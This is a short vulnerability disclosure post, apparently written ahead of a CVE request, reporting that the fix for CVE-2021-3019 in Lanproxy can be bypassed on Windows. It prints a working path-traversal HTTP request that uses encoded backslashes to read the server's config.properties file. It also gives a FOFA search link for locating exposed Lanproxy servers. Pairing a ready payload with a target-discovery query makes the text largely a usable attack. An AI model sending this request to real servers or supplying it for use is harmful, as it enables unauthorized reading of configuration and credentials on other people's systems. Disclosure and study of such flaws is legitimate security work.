The latest version of Lanproxy has an arbitrary file read vulnerability on Windows

[Cl0udG0d]

因为准备申请一下CVE 所以还是用英文吧....

Lanproxy originally existed CVE-2021-3019

The repair method is as follows

It is obvious that this repair method did not consider bypassing on Windows servers

so we use payload

GET /..%5Cconf%5Cconfig.properties HTTP/1.1
Host: 127.0.0.1:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=4

fofa: https://fofa.info/result?q=%22Server%3A%20LPS-0.1%22&qbase64=IlNlcnZlcjogTFBTLTAuMSI%3D

of course, due to the directory traversal feature, this only applies to Windows servers